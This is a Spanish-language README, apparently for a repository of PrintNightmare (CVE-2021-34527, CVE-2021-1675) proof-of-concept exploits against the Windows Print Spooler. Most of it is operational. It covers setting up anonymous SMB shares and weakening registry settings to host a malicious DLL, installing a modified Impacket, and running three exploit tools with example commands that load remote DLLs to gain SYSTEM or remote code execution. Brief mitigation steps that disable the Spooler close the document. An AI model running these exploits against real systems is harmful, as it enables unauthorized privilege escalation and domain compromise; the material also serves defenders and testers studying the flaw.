
PrintNightmare - Vulnerabilidad RCE/LPE del servicio de cola de impresión de Windows (CVE-2021-34527, CVE-2021-1675) exploits de prueba de concepto
Esta es una vulnerabilidad de ejecución remota de código que puede ser utilizada para obtener privilegios de nivel SYSTEM por parte de un usuario remoto autenticado contra máquinas Windows que ejecutan el servicio de cola de impresión. Un atacante podría entonces usar ese acceso para crear nuevas cuentas, intentar instalar programas; ver, cambiar o eliminar datos; o crear nuevas cuentas con permisos de usuario completo.
Esta vulnerabilidad existe debido a un fallo de omisión de autorización en el servicio de cola de impresión spoolsv.exe en sistemas Windows, que permite a usuarios remotos autenticados instalar controladores de impresión usando la llamada RPC RpcAddPrinterDriver y especificar un archivo de controlador ubicado en una ubicación remota. Un usuario malintencionado que explote esto podría obtener privilegios de nivel SYSTEM en un sistema Windows que ejecute este servicio al inyectar DLL maliciosas como parte de la instalación de un controlador de impresión.
Si bien Microsoft ha lanzado una actualización para CVE-2021-1675, esta actualización no protege los controladores de dominio de Active Directory ni los sistemas Windows que tienen configurada la opción 'Punto e Imprimir' con la opción NoWarningNoElevationOnInstall configurada.
Hay tres implementaciones de exploits PoC en este repositorio:
Como el servicio RPC permite que la máquina cliente proporcione una ubicación para que los controladores de impresión sean descargados por el servidor remoto, las siguientes opciones de ejemplo se pueden usar para alojar la carga útil y la ruta proporcionada al ejecutar el exploit:
Para configurar el acceso de invitado en Samba, debe configurar un usuario con el que simulará iniciar sesión. Asegúrese de que exista un usuario smbuser en el sistema; de lo contrario, cree uno con contraseña password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Edite el archivo /etc/samba/smb.conf y habilite el acceso anónimo:
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
A continuación se presentan instrucciones ligeramente actualizadas de las proporcionadas por cube0x0:
Esta es la implementación de Impacket del exploit Printnightmare por cube0x0. Antes de ejecutar el exploit, debe instalar una versión modificada de Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
El código de exploit para esta vulnerabilidad debe ejecutarse usando Python 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
El directorio SharpPrintNightmare/ contiene la implementación en C# del exploit Printnightmare, tanto para escalada de privilegios local (LPE) (CVE-2021-1675), como para ejecución remota de código (RCE). La funcionalidad RCE requiere ejecución con privilegios de administrador local en la máquina que ejecuta el exploit.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Ejecute lo siguiente:
Get-Service -Name Spooler
Si el servicio de cola de impresión está en ejecución o si el servicio no está configurado como deshabilitado, seleccione una de las siguientes opciones para deshabilitar el servicio de cola de impresión o para deshabilitar la impresión remota entrante a través de la Directiva de Grupo:
Si deshabilitar el servicio de cola de impresión es apropiado para su empresa, use los siguientes comandos de PowerShell (recomendación de Microsoft):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
o deshabilitar el servicio Spooler usando el registro
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
o desinstalar Print-Services
Uninstall-WindowsFeature Print-Services
Esto deshabilitará la capacidad de imprimir tanto local como remotamente.